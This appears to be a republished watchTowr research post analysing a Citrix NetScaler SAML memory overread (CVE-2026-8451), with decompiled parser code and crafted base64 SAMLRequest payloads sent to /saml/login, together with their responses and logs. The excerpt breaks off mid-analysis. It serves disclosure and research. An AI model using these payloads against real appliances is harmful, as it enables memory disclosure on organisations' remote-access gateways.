{"id":736270,"date":"2026-07-01T05:20:14","date_gmt":"2026-07-01T05:20:14","guid":{"rendered":"https:\/\/www.newsbeep.com\/us\/736270\/"},"modified":"2026-07-01T05:20:14","modified_gmt":"2026-07-01T05:20:14","slug":"citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451","status":"publish","type":"post","link":"https:\/\/www.newsbeep.com\/us\/736270\/","title":{"rendered":"CitrixBleed To Infinity And Beyond (Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451)"},"content":{"rendered":"<p>Well, well, well &#8211; once again, the cat has dragged us in and spat us out.<\/p>\n<p>Today, we find ourselves questioning the reality we sit within. Must it be so predictable, and why us? \u201cBut watchTowr, what do you mean?\u201d<\/p>\n<p>Well, if you\u2019re here, you likely fit into one of the following categories:<\/p>\n<p>A dear reader,A group therapy accompliceA Groundhog Day fan club member<\/p>\n<p>Why? Because we once again find ourselves talking about Citrix NetScalers. Yes, that\u2019s right, we\u2019ve found another excuse to create memes and mock promise rings.<\/p>\n<p>For those that don\u2019t start violently wretching when the phrase \u201cCitrix NetScaler\u201d is uttered, we have another word to whisper: \u201cCitrixBleed\u201d.<\/p>\n<p>As many know, the term CitrixBleed now refers to not a single vulnerability, but an entire class of Memory Disclosure-esque vulnerabilities in Citrix NetScaler devices, many of which have played roles in breaches and incidents in recent memory.<\/p>\n<p>For those new to this trauma, the following prior reading may be of interest:<\/p>\n<p>&#8220;We told you so\u201d, we want to scream.<\/p>\n<p>Huh? Why? Because, we have constantly reiterated our concern that the Memory Disclosure-esque class of vulnerability appears to be endemic within Citrix NetScaler devices &#8211; to the point where we\u2019ve now found further instances either b<a href=\"https:\/\/labs.watchtowr.com\/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101\/\" rel=\"nofollow noopener\" target=\"_blank\">y accident<\/a> or <a href=\"https:\/\/labs.watchtowr.com\/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2\/\" rel=\"nofollow noopener\" target=\"_blank\">while analyzing and reproducing another instance of the same vulnerability class in the same appliance a mere few months ago.<\/a><\/p>\n<p>Yes, that\u2019s right &#8211; today, a Secure By Design promise ring pledge commitment hall-of-famer is back to haunt us as Citrix has now publicly disclosed the zero-day Memory Disclosure vulnerability we reported in March 2026.<\/p>\n<p>We\u2019ve given up counting the numbers, and so we\u2019ve decided to call this vulnerability \u201cCitrixBleed To Infinity And Beyond\u201d:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-34.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"894\" height=\"898\"  \/><\/p>\n<p>Referencing what we wrote previously, because it is demonstrably evergreen:<\/p>\n<p>However, what should be of concern is the bigger picture &#8211; the trend, which is very clearly suggesting that memory management continues to appear fragile within Citrix NetScaler appliances, to the extent that even accidentally misconfiguring an appliance can lead to the disclosure of leaked memory.It feels like we are playing catch with a highly-sensitive gun that continues to harm innocent bystanders &#8211; within, once again, what many will consider a highly-critical appliance and security control.Will we see another memory leak vulnerability in Citrix NetScaler? We have no idea. But if we were to meme\u2026<img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-32.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"490\" height=\"439\"\/>What Is Citrix NetScaler and NetScaler Gateway?<\/p>\n<p>Citrix NetScaler (formally rebranded, then un-rebranded, in the way that only enterprise networking vendors can truly pull off) is a family of application delivery controllers and VPN gateway appliances found in virtually every large enterprise network on the planet. NetScaler handles load balancing, SSL offloading, authentication, and remote access &#8211; and NetScaler Gateway specifically serves as the front door for thousands of organizations&#8217; remote access infrastructure.<\/p>\n<p>It is, in other words, exactly the kind of product we love to look at, while also being a natural disaster.<\/p>\n<p>What Is CVE-2026-8451?<\/p>\n<p>Citrix eloquently describes CVE-2026-8451 as: \u201cInsufficient input validation leading to memory overread\u201d.<\/p>\n<p>Naturally, they\u2019ve assigned CVE-2026-8451 to the vulnerability and rated it a CVSS of 8.8. Of note is that for this vulnerability to be exploitable, matching CitrixBleed3?4?, the NetScaler appliance has to be configured as a SAML IDP.<\/p>\n<p>Within their advisory, Citrix states the following products are affected:<\/p>\n<p>NetScaler ADC and NetScaler Gateway\u202f14.1\u202fBEFORE 14.1-72.61NetScaler ADC and NetScaler Gateway\u202f13.1\u202fBEFORE 13.1-63.18NetScaler ADC FIPS BEFORE 14.1-72.61 FIPSNetScaler ADC FIPS and NDcPP BEFORE 13.1-37.272<\/p>\n<p>Let\u2019s dive in.<\/p>\n<p>Hunting (Unfortunately Not) Rare Vulnerabilities<\/p>\n<p>It was a late night in Pallet Town, and we, the intrepid hero, were searching for rare Pok\u00e9mon vulnerabilities in the long grass of the Citrix NetScaler.<\/p>\n<p>Doing \u201cwhat we do best\u201d, back in March we found ourselves feverishly analyzing patches and changes to reproduce CVE-2026-3055 aka CitrixBleed4(?) affecting NetScaler\u2019s configured as an IDP provider.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-33.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"413\" height=\"340\"\/><\/p>\n<p>With a NetScaler up and running, configured as an SAML IdP, we skimmed through relevant attack surface. We say skimmed, because in reality, SAML itself doesn&#8217;t expose a huge amount of functionality for us to poke prod &#8211; effectively a handful of authentication endpoints, and not much else (intended, anyway).<\/p>\n<p>Thus, it seemed natural to start at the beginning: \/saml\/login.<\/p>\n<p>Anyone familiar with SAML will know that clients kick off authentication by submitting a base64-encoded XML document to an endpoint like this. Buried inside that XML document is an AuthnRequest, which describes everything the identity provider needs to know, including the issuer, destination, timestamps, and a handful of other attributes.<\/p>\n<p>With nothing else to catch our attention, we decided to take what we were given and focus here.<\/p>\n<p>As anyone who has spent time hunting vulnerabilities will tell you, after hopefully recovering, XML parsers are deceptively difficult to implement correctly. Even experienced developers (and others.. that sign pledges\u2026) generally know better to not do anything else except rely on well-tested libraries.<\/p>\n<p>Citrix, however, appears to have chosen a different path. To ensure allegiance to the pledge.<\/p>\n<p>The result is delightful snippets like the following, taken from the code responsible for parsing XML attributes such as foo=&#8221;bar&#8221;:<\/p>\n<p>cursor = <\/p>\n<p>whitespaceCharList = 0x100002600;<\/p>\n<p>\/\/ Skip leading whitespace<br \/>\nfor ( lookahead = (v32 + 28); ; lookahead++ )<br \/>\n{<br \/>\n\tch = *cursor;<br \/>\n\tif ( ch &gt; &#8216;=&#8217; )<br \/>\n\t\tbreak;<br \/>\n\tif ( !_bittest64(&amp;whitespaceCharList, ch) )<br \/>\n\t{<br \/>\n\t\tif ( ch == &#8216;=&#8217; )<br \/>\n\t\t{<br \/>\n\t\t\twhile ( 1 )<br \/>\n\t\t\t{<br \/>\n\t\t\t\tch = *lookahead;<br \/>\n\t\t\t\tif ( ch &gt; 0x20 || !_bittest64(&amp;whitespaceCharList, ch) )<br \/>\n\t\t\t\t\tbreak;<br \/>\n\t\t\t\t++lookahead;<br \/>\n\t\t\t}<br \/>\n\t\t\tcursor = lookahead;<br \/>\n\t\t}<br \/>\n\t\tbreak;<br \/>\n\t}<br \/>\n\t++cursor;<br \/>\n}<\/p>\n<p>\/\/ Determine how the value is quoted. This accepts both single and double quotes, or<br \/>\n\/\/ no quotes at all (in which case, the value is terminated by whitespace).<br \/>\nif ( ch == &#8216;\\&#8221; || ch == &#8216;&#8221;&#8216; )<br \/>\n{<br \/>\n\tterminator = ch;<br \/>\n\tfirst = *++cursor;<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\n\tterminator=&#8221; &#8220;;<br \/>\n\tfirst = ch;<br \/>\n}<br \/>\nif ( first == terminator )<br \/>\n\treturn 0xE0002;\t\t\/\/ The value is empty.<\/p>\n<p>\/\/ Now walk forward until we find the terminator.<br \/>\nscanPos = cursor;<br \/>\nwhile ( first != &#8216;\\0&#8217; &amp;&amp; first != &#8216;&gt;&#8217; )<br \/>\n{<br \/>\n\tscanPos++;<br \/>\n\tfirst = *scanPos;<br \/>\n\tif (first == terminator)<br \/>\n\t\tbreak<br \/>\n}<\/p>\n<p>if ( scanPos == cursor )<br \/>\n\treturn 0xE0002;\t\t\/\/ the value is empty.<\/p>\n<p>out-&gt;value_ptr = cursor;<br \/>\nout-&gt;value_len = scanPos &#8211; cursor;<\/p>\n<p>The first thing that probably jumps out is the slightly odd-looking _bittest64() call.<\/p>\n<p>Fortunately, it isn&#8217;t doing anything particularly exotic.<\/p>\n<p>It simply checks whether a character belongs to a predefined set, encoded as bit positions within the constant 0x100002600. In practice, that means it matches the characters 0x09, 0x0A, 0x0D, and 0x20, which correspond to horizontal tab, line feed, carriage return, and space.<\/p>\n<p>There is one subtle detail. ASCII values range from 0 to 255, while the lookup table is only 64 bits wide. The &gt; 0x20 check exists to avoid indexing beyond the end of that table.<\/p>\n<p>The comments should make the rest of the function fairly easy to follow. Its job is simply to locate the value portion of an XML attribute and return both a pointer to the value and its length.<\/p>\n<p>It also looks&#8230; a little questionable. If your promise ring isn\u2019t reverberating yet, you should probably charge it. As we\u2019ve regularly seen and been forced to dea with, string parsing code has a habit of hiding subtle bugs &#8211; and surprise, this implementation has a few characteristics that immediately made us suspicious.<\/p>\n<p>For example, there are no obvious bounds checks. If the input is malformed enough, it looks entirely possible for the parser to read past the end of the input buffer. What happens if an attribute value is never terminated?<\/p>\n<p>But things get even stranger when you look at the parser&#8217;s termination logic.<\/p>\n<p>Throughout most of the function, _bittest64() is used to recognize the characters that terminate a value. However, there is one special case: unquoted attribute values.<\/p>\n<p>In that path, whitespace is no longer treated as a terminator. Instead, the parser only stops when it encounters a null byte, a closing &gt;, or the matching quote character.<\/p>\n<p>That difference might seem insignificant, but it turns out to matter quite a bit (no way!).<\/p>\n<p>A Wild NetScaler Appears! watchTowr used \u201cMean Look To See If It Falls Over\u201d.<\/p>\n<p>Having seen the quality of XML parsers in general, let alone Citrix\u2019s track record that we\u2019ve already discussed, we did what anyone would do &#8211; we let our small pets walk across our keyboards, and watched for unexpected intended functionality.<\/p>\n<p>Fortunately, NetScaler makes this fairly easy (we supplied the pets).<\/p>\n<p>A quick shell command drops you into the underlying operating system, where you can simply tail the relevant log file:<\/p>\n<p>\/var\/log\/ns.log<\/p>\n<p>That gives us a front-row seat to exactly how the parser interprets our input.<\/p>\n<p>We&#8217;ll start with a minimal SAML AuthnRequest. It gives us a clean baseline before we begin progressively breaking things and observing how the parser responds:<\/p>\n<p>\turn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport<\/p>\n<p>After base64-encoding the request and sending it, we keep one eye on the logs and one eye on the debugger. As expected, NetScaler parses each of the values correctly:<\/p>\n<p>POST \/saml\/login HTTP\/1.1<br \/>\nHost: all-ur-boxen.com<br \/>\nContent-Length: 1090<\/p>\n<p>SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCAKCXhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIAoJeG1sbnM6c2FtbD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiIgCglJRD0iXzk5ZDNlNzExMThmNDIzMDVlMDVhY2IxNGFkMGJkOTE3IiAKCVZlcnNpb249IjIuMCIgCglQcm92aWRlck5hbWU9IlNQIHRlc3QiIAoJRGVzdGluYXRpb249Imh0dHA6Ly9pZHAuZXhhbXBsZS5jb20vU1NPU2VydmljZS5waHAiIAoJUHJvdG9jb2xCaW5kaW5nPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YmluZGluZ3M6SFRUUC1QT1NUIiAKCUFzc2VydGlvbkNvbnN1bWVyU2VydmljZVVSTD0iaHR0cDovL3NwLmV4YW1wbGUuY29tL2RlbW8xL2luZGV4LnBocD9hY3MiPgoJPHNhbWw6SXNzdWVyPmh0dHA6Ly9zcC5leGFtcGxlLmNvbS9kZW1vMS9tZXRhZGF0YS5waHA8L3NhbWw6SXNzdWVyPgoJPHNhbWxwOk5hbWVJRFBvbGljeSBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyIgQWxsb3dDcmVhdGU9InRydWUiLz4KCTxzYW1scDpSZXF1ZXN0ZWRBdXRobkNvbnRleHQgQ29tcGFyaXNvbj0iZXhhY3QiPgoJPHNhbWw6QXV0aG5Db250ZXh0Q2xhc3NSZWY%2bdXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFjOmNsYXNzZXM6UGFzc3dvcmRQcm90ZWN0ZWRUcmFuc3BvcnQ8L3NhbWw6QXV0aG5Db250ZXh0Q2xhc3NSZWY%2bCgk8L3NhbWxwOlJlcXVlc3RlZEF1dGhuQ29udGV4dD4KPC9zYW1scDpBdXRoblJlcXVlc3Q%2b<\/p>\n<p>The HTTP response is just a 302 (honestly, it\u2019s contents are not particularly interesting, so we have omitted them):<\/p>\n<p>HTTP\/1.1 302 Object Moved<br \/>\nLocation: \/vpn\/index.html<br \/>\nSet-Cookie: NSC_TASS=YXNkZgBJRD1fOTlkM2U3MTExOGY0MjMwNWUwNWFjYjE0YWQwYmQ5MTcmYmluZD1wb3N0JkFDU1VSTD1odHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcwA=;HttpOnly;Path=\/;Secure<br \/>\nContent-Security-Policy: default-src &#8216;self&#8217;; script-src &#8216;self&#8217;; connect-src &#8216;self&#8217;; img-src :* &#8216;self&#8217; data:; style-src &#8216;self&#8217; &#8216;unsafe-inline&#8217;; font-src &#8216;self&#8217; data:; frame-src &#8216;self&#8217;; child-src &#8216;self&#8217; com.citrix.agmacepa:\/\/* citrixng:\/\/* com.citrix.nsgclient:\/\/* vmware-view:\/\/ nsgcepa:\/\/nsgcepa application:\/\/*; form-action  &#8216;self&#8217;; object-src &#8216;none&#8217;; base-uri &#8216;self&#8217;; report-uri \/nscsp_violation\/report_uri<br \/>\nSet-Cookie: NSC_AAAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_EPAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_USER=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_TEMP=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_PERS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_BASEURL=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: CsrfToken=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: CtxsAuthId=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: ASP.NET_SessionId=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_TMAA=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT<br \/>\nSet-Cookie: NSC_TMAS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_TEMP=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT<br \/>\nSet-Cookie: NSC_PERS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT<br \/>\nSet-Cookie: NSC_AAAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT<br \/>\nX-Content-Type-Options: nosniff<br \/>\nX-XSS-Protection: 1; mode=block<br \/>\nContent-Length: 398<br \/>\nCache-control: no-cache, no-store, must-revalidate<br \/>\nPragma: no-cache<br \/>\nContent-Type: text\/html; charset=utf-8<\/p>\n<p><a href=\"http:\/\/labs.watchtowr.com\/vpn\/index.html\" rel=\"nofollow noopener\" target=\"_blank\"><\/a><\/p>\n<p>And in our friendly logs\u2026.:<\/p>\n<p>AuthnReq start tag parsed, id=&lt;_99d3e71118f42305e05acb14ad0bd917&gt;,<br \/>\nacs=, forceAuth=&lt;0&gt;, binding=,<br \/>\nfollowing data  &#8221;    ProtocolBinding=&#8221;urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST&#8221;        AssertionConsumerServiceURL=&#8221;&#8221;<\/p>\n<p>So far, nothing particularly surprising. NetScaler successfully extracts the ID and AssertionConsumerServiceURL attributes, while ForceAuthn falls back to its default value.<\/p>\n<p>However, we were still deeply suspicious of the attribute parser. Earlier, we pointed out that unquoted attribute values are terminated differently from quoted ones. With not much faith left in humanity, we wondered what would happen if we used a newline to terminate one.<\/p>\n<p>There was only one way to find out &#8211; yes, the pets were asked to walk across our keyboards, again.<\/p>\n<p>watchtowr<\/p>\n<p>This time, we&#8217;ve replaced the space after AssertionConsumerServiceURL with a newline.<\/p>\n<p>Once again, we base64-encode the document and POST it to \/saml\/login:<\/p>\n<p>POST \/saml\/login HTTP\/1.1<br \/>\nHost: 192.168.80.125<br \/>\nContent-Length: 190<\/p>\n<p>SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBWZXJzaW9uPSIyLjAiIEFzc2VydGlvbkNvbnN1bWVyU2VydmljZVVSTD0xMQppZD0yMj4KPHNhbWw6SXNzdWVyPndhdGNodG93cjwvc2FtbDpJc3N1ZXI%2bCjwvc2FtbHA6QXV0aG5SZXF1ZXN0Pg==<\/p>\n<p>The response is practically the same as before:<\/p>\n<p>HTTP\/1.1 302 Object Moved<br \/>\nLocation: \/vpn\/index.html<br \/>\nSet-Cookie: NSC_TASS=YXNkZgBJRD0yMiZiaW5kPXBvc3QmQUNTVVJMPTExCmlkPTIyAA==;HttpOnly;Path=\/;Secure<br \/>\nContent-Security-Policy: default-src &#8216;self&#8217;; script-src &#8216;self&#8217;; connect-src &#8216;self&#8217;; img-src :* &#8216;self&#8217; data:; style-src &#8216;self&#8217; &#8216;unsafe-inline&#8217;; font-src &#8216;self&#8217; data:; frame-src &#8216;self&#8217;; child-src &#8216;self&#8217; com.citrix.agmacepa:\/\/* citrixng:\/\/* com.citrix.nsgclient:\/\/* vmware-view:\/\/ nsgcepa:\/\/nsgcepa application:\/\/*; form-action  &#8216;self&#8217;; object-src &#8216;none&#8217;; base-uri &#8216;self&#8217;; report-uri \/nscsp_violation\/report_uri<br \/>\nSet-Cookie: NSC_AAAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_EPAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_USER=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_TEMP=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_PERS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_BASEURL=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: CsrfToken=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: CtxsAuthId=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: ASP.NET_SessionId=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_TMAA=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT<br \/>\nSet-Cookie: NSC_TMAS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_TEMP=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT<br \/>\nSet-Cookie: NSC_PERS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT<br \/>\nSet-Cookie: NSC_AAAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT<br \/>\nX-Content-Type-Options: nosniff<br \/>\nX-XSS-Protection: 1; mode=block<br \/>\nContent-Length: 398<br \/>\nCache-control: no-cache, no-store, must-revalidate<br \/>\nPragma: no-cache<br \/>\nContent-Type: text\/html; charset=utf-8<\/p>\n<p><a href=\"http:\/\/labs.watchtowr.com\/vpn\/index.html\" rel=\"nofollow noopener\" target=\"_blank\"><\/a><\/p>\n<p>With the log file\u2026 not being so coy:<\/p>\n<p>AuthnReq start tag parsed, id=&lt;22&gt;, acs=&lt;11 id=22&gt;, forceAuth=&lt;0&gt;, binding=,<br \/>\nfollowing data  Version=&#8221;2.0&#8243; AssertionConsumerServiceURL=11 id=22&gt; watchtowr <\/p>\n<p>That&#8217;s&#8230; interesting.<\/p>\n<p>You might have to read the log twice before it jumps out at you.<\/p>\n<p>Notice that the acs value has been parsed as:<\/p>\n<p>11 id=22<\/p>\n<p>That is clearly wrong. Looking at the XML we sent, the value should simply be 11.<\/p>\n<p>Instead, the parser has read past the correct end of the attribute, failed to recognize the newline as a valid terminator (exactly as we suspected), and continued consuming input until it eventually encountered the &gt; terminating the AuthnRequest start tag.<\/p>\n<p>Then, things became even more interesting.<\/p>\n<p>As we saw earlier, this XML parser is surprisingly relaxed about what constitutes a valid closing tag. In particular, it is happy to accept a &lt; as the terminator for an AuthnRequest start tag instead of the expected &gt;.<\/p>\n<p>That means we can take things one step further. If we terminate both AssertionConsumerServiceURL and ID with newlines, and leave the opening AuthnRequest tag unclosed, we end up with the following request:<\/p>\n<p>watchtowr<\/p>\n<p>Let\u2019s base64 and send it on its way:<\/p>\n<p>POST \/saml\/login HTTP\/1.1<br \/>\nHost: 192.168.80.125<br \/>\nContent-Length: 180<\/p>\n<p>SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBWZXJzaW9uPSIyLjAiIEFzc2VydGlvbkNvbnN1bWVyU2VydmljZVVSTD0KaWQ9CjxzYW1sOklzc3Vlcj53YXRjaHRvd3I8L3NhbWw6SXNzdWVyPgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4=<\/p>\n<p>The response is, again, uninteresting:<\/p>\n<p>HTTP\/1.1 302 Object Moved<br \/>\nLocation: \/vpn\/index.html<br \/>\nSet-Cookie: NSC_TASS=YXNkZgBJRD08c2FtbDpJc3N1ZXImYmluZD1wb3N0JkFDU1VSTD1pZD0KPHNhbWw6SXNzdWVyAA==;HttpOnly;Path=\/;Secure<br \/>\nContent-Security-Policy: default-src &#8216;self&#8217;; script-src &#8216;self&#8217;; connect-src &#8216;self&#8217;; img-src :* &#8216;self&#8217; data:; style-src &#8216;self&#8217; &#8216;unsafe-inline&#8217;; font-src &#8216;self&#8217; data:; frame-src &#8216;self&#8217;; child-src &#8216;self&#8217; com.citrix.agmacepa:\/\/* citrixng:\/\/* com.citrix.nsgclient:\/\/* vmware-view:\/\/ nsgcepa:\/\/nsgcepa application:\/\/*; form-action  &#8216;self&#8217;; object-src &#8216;none&#8217;; base-uri &#8216;self&#8217;; report-uri \/nscsp_violation\/report_uri<br \/>\nSet-Cookie: NSC_AAAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_EPAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_USER=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_TEMP=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_PERS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_BASEURL=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: CsrfToken=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: CtxsAuthId=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: ASP.NET_SessionId=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_TMAA=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT<br \/>\nSet-Cookie: NSC_TMAS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure<br \/>\nSet-Cookie: NSC_TEMP=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT<br \/>\nSet-Cookie: NSC_PERS=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT<br \/>\nSet-Cookie: NSC_AAAC=xyz;Path=\/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT<br \/>\nX-Content-Type-Options: nosniff<br \/>\nX-XSS-Protection: 1; mode=block<br \/>\nContent-Length: 398<br \/>\nCache-control: no-cache, no-store, must-revalidate<br \/>\nPragma: no-cache<br \/>\nContent-Type: text\/html; charset=utf-8<\/p>\n<p><a href=\"http:\/\/labs.watchtowr.com\/vpn\/index.html\" rel=\"nofollow noopener\" target=\"_blank\"><\/a><\/p>\n<p>.. but the generated log is far from boring:<\/p>\n<p>AuthnReq start tag parsed, id=&lt;, acs=,<br \/>\nforceAuth=&lt;0&gt;, binding=, following data  Version=&#8221;2.0&#8243; AssertionConsumerServiceURL= id= watchtowr <\/p>\n<p>So far, our theory holds up.<\/p>\n<p>The AssertionConsumerServiceURL value is not terminated at the newline. Instead, the parser keeps reading until it encounters the &gt; from the closing Issuer tag. The ID attribute behaves exactly the same way.<\/p>\n<p>At this point, it is pretty clear that we have an overread. The parser is reading well beyond the intended bounds of each attribute value. We are still only reading XML that happens to be present in the input buffer, but the parser is clearly consuming far more data than it should.<\/p>\n<p>That is already interesting, but the obvious question is: \u201cDo we lease our bug-hunting pets?\u201d Sometimes.<\/p>\n<p>The other question you may be inclined to ask, may resemble the following: \u201cWhere does all of this overread data end up?<\/p>\n<p>To answer that, we need to look at what this function actually produces.<\/p>\n<p>On success, it returns an HTTP response containing an NSC_TASS cookie. Among other things, this cookie stores the ID and AssertionConsumerServiceURL values that were parsed from the incoming XML request:<\/p>\n<p>NSC_TASS=YXNkZgBJRD08c2FtbDpJc3N1ZXImYmluZD1wb3N0JkFDU1VSTD1pZD0KPHNhbWw6SXNzdWVyAA==<\/p>\n<p>This decodes to:<\/p>\n<p>00000000  61 73 64 66 00 49 44 3d  3c 73 61 6d 6c 3a 49 73  |asdf.ID=<\/p>\n<p>asdf is simply the configured provider name. The interesting part is everything that follows.<\/p>\n<p>You can see the values parsed from our XML request being embedded directly into the cookie. The ID field now contains , and the ACSURL field has similarly consumed data well beyond the intended attribute value.<\/p>\n<p>Shock &#8211; we are once again miserable about the world (we say, fiddling with our promise rings).<\/p>\n<p>We\u2019ve so far demonstrated what nobody needed a crystal ball to predict &#8211; the NetScaler appliance is willing to return data it never should have associated with those attributes. So far, though, the overread is still confined to our own request buffer.<\/p>\n<p>The next challenge is obvious: instead of reading within the request, can we make it read beyond the end of the request?<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-35.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"530\" height=\"453\"\/>Reading Into The Unknown<\/p>\n<p>We spent quite a while trying to figure out how to push the parser past the end of the request buffer. After a healthy amount of trial and error, we concluded that our login request to \/saml\/login needed to satisfy a few conditions:<\/p>\n<p>It must contain both a  and a corresponding . We can&#8217;t simply leave the request unterminated.It must contain a valid watchtowr.It must contain either an AssertionConsumerServiceURL= or ID attribute terminated by a newline, or not terminated at all.<\/p>\n<p>At first glance, those requirements seem mutually exclusive.<\/p>\n<p>They aren&#8217;t.<\/p>\n<p>By this point, we&#8217;d already learned just how forgiving the parser was. We&#8217;d shown that the opening AuthnRequest tag didn&#8217;t actually need a closing &gt;, but we also discovered something even stranger: the parser was surprisingly relaxed about element nesting.<\/p>\n<p>For example:<\/p>\n<p>watchtowr<\/p>\n<p>Here we\u2019ve got the same request as before &#8211; but this time, the Issuer is moved outside the AuthnRequest.<\/p>\n<p>Any sane parser would reject this, but we\u2019re not dealing with sanity. Of course, the NetScaler appliance actually accepts it.<\/p>\n<p>AuthnReq start tag parsed, id=&lt;22 , acs=&lt;11 id=22 , forceAuth=&lt;0&gt;, binding=<\/p>\n<p>One important detail is that this only works if the opening AuthnRequest tag is left unterminated. If it is closed normally, the parser rejects the document, strongly suggesting the behavior we\u2019re observing is tied to the parser&#8217;s attribute-handling logic.<\/p>\n<p>Once we realized that, we started experimenting a little more. It turns out the parser is surprisingly tolerant of attribute ordering as well. For example:<\/p>\n<p>watchtowr<\/p>\n<p>Version=&#8221;2.0&#8243;<br \/>\nid=&#8221;11&#8243;<br \/>\nAssertionConsumerServiceURL=&#8221;22&#8243;<\/p>\n<p>This yields a successful response &#8211; although the extracted details are incorrect:<\/p>\n<p>AuthnReq start tag parsed, id=&lt;&gt;, 